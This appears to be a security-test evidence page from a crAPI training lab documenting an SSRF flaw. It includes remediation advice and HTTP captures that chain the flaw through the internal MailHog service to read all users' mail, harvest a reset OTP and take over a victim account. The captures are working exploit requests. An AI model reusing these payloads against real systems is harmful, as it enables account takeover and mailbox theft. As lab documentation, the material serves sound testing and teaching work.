Server-Side Request Forgery - Workshop - Contact Mechanic
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
crAPI/Evidence/[FAIL] Server-Side Request Forgery - Workshop - Contact Mechanic
01 — Notes
Test notes
Vulnerability
Description
Impact
CWE
OWASP
Scenario
Endpoint
Affected feature
Remediation
Proof of concept
View source note (English)
Vulnerability: [FAIL] Server-Side Request Forgery - Workshop - Contact Mechanic
Description:
The contact_mechanic endpoint accepts a full URL in the mechanic_api parameter and performs a server-side HTTP request to that URL, then reflects the response. An attacker can point it at INTERNAL services that are not exposed publicly. Escalation: the SSRF is aimed at the internal MailHog mail server (mailhog:8025) to read every user's email, harvest the victim's password-reset OTP, and then reset the victim's password -> Account Takeover.
Impact:
Confidentiality + Integrity (Critical): the SSRF reads the entire internal mailbox (mailhog, 45 emails), including other users' reset OTPs/tokens, which are then used to take over victim accounts without knowing their credentials. Applies to any account whose email is known.
CWE:
CWE-918: Server-Side Request Forgery (SSRF)
OWASP:
API7:2023 - Server Side Request Forgery
Scenario:
Normal: mechanic_api points to a legitimate mechanic endpoint. Exploitation (chain): SSRF -> internal MailHog -> read victim email -> harvest OTP -> reset victim password -> log in as the victim (ATO). The end result demonstrates CIA (Confidentiality + Integrity).
Endpoint:
POST http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic
Affected Feature:
Contact Mechanic / mechanic API integration (crapi-workshop)
Remediation:
- Do not accept full URLs from the client; use an allow-list of legitimate mechanic hosts/endpoints.
- Block internal schemes and IP/host ranges (loopback, RFC1918, internal service names such as mailhog/crapi-identity).
- Do not reflect raw upstream responses to the client.
- Network segmentation: internal services (MailHog, actuator) must not be reachable from any service that accepts URL input.
POC:
1) (Screenshot 1) NORMAL: contact_mechanic with mechanic_api set to a legitimate mechanic endpoint -> the server fetches it server-side.
2) (Screenshot 2) EXPLOITATION: mechanic_api = http://mailhog:8025/api/v2/messages -> the SSRF reads the ENTIRE internal mailbox (45 emails from all users).
3) (Screenshot 3) HARVEST: mechanic_api = http://mailhog:8025/api/v2/search?kind=to&query=[REDACTED-EMAIL] -> reads the victim's OTP email; the 4-digit OTP is harvested.
4) (Screenshot 4) CHAIN: the harvested OTP is sent to /identity/api/auth/v3/check-otp -> 'OTP verified', the victim's password is reset.
5) (Screenshot 5) CIA IMPACT: log in as the victim with the new password -> token issued -> Account Takeover.
02 — Screenshots
Screenshots (5)
Normal: the workshop calls the mechanic API from the server and returns its response to the caller.
Exploit: point mechanic_api at the internal MailHog service (mailhog:8025). The capture records access to the complete email inbox for all users, even though the service cannot be reached from outside.
Exploit: SSRF reads the victim's password-reset email in MailHog, obtaining the 4-digit OTP (9899) without access to the victim's account.
Attack chain: use the OTP obtained through SSRF to reset the victim's password. The capture records the response 'OTP verified' and the attacker changing the victim's password.
Impact: the capture records a successful login as the victim with the new password, and a token is issued. This completes the recorded account takeover and compromises confidentiality and integrity.
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://127.0.0.1:8888/workshop/api/mechanic/", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 270
{
"response_from_mechanic_api": {
"mechanics": [
{
"id": 1,
"mechanic_code": "TRAC_JHN",
"user": {
"email": "[REDACTED-EMAIL]",
"number": ""
}
},
{
"id": 2,
"mechanic_code": "TRAC_JME",
"user": {
"email": "[REDACTED-EMAIL]",
"number": ""
}
}
],
"previous_offset": null,
"next_offset": null
},
"status": 200
}Normal: the workshop calls the mechanic API from the server and returns its response to the caller.
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://mailhog:8025/api/v2/messages", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}HTTP 200
{
"response_from_mechanic_api": {
"total": 58,
"count": 50,
"items_shown": [
{
"To": "[REDACTED-EMAIL]",
"Subject": "crAPI OTP"
},
{
"To": "[REDACTED-EMAIL]",
"Subject": "Welcome to crAPI"
}
]
}
}
# CATATAN: MailHog internal (mailhog:8025) TIDAK terekspos ke luar; SSRF membaca SELURUH 58 email semua user.Exploit: point mechanic_api at the internal MailHog service (mailhog:8025). The capture records access to the complete email inbox for all users, even though the service cannot be reached from outside.
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "http://mailhog:8025/api/v2/search?kind=to&query=[REDACTED-EMAIL]", "number_of_repeats": 1, "vin": "861P9NB3CL6ZEA9X1"}HTTP 200
# Email OTP korban (Raw.Data) hasil SSRF ke MailHog:
Date: Tue, 29 Sep 2026 14:05:35 +0000 (UTC)
From: [REDACTED-EMAIL]
To: [REDACTED-EMAIL]
Message-ID: <1585033080.57.1790690735293@4f2ddf916d38>
Subject: crAPI OTP
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
<table border='0' cellpadding='0' cellspacing='0' class='btn btn-primary'><tr><td align='center'><table border='0' cellpadding='0' cellspacing='0'><tr><td>Hi,</td><td> </td><td>Your one time generated otp is: 9899</td></tr></table></td></tr></table>Exploit: SSRF reads the victim's password-reset email in MailHog, obtaining the 4-digit OTP (9899) without access to the victim's account.
POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json
{"email":"[REDACTED-EMAIL]","otp":"9899","password":"[REDACTED-LAB-VALUE]"}HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 39
{
"message": "OTP verified",
"status": 200
}Attack chain: use the OTP obtained through SSRF to reset the victim's password. The capture records the response 'OTP verified' and the attacker changing the victim's password.
POST /identity/api/auth/login HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/json
{"email":"[REDACTED-EMAIL]","password":"[REDACTED-LAB-VALUE]"}HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 540
{
"token": "[REDACTED-LAB-VALUE]",
"type": "Bearer",
"message": "Login successful",
"mfaRequired": false
}Impact: the capture records a successful login as the victim with the new password, and a token is issued. This completes the recorded account takeover and compromises confidentiality and integrity.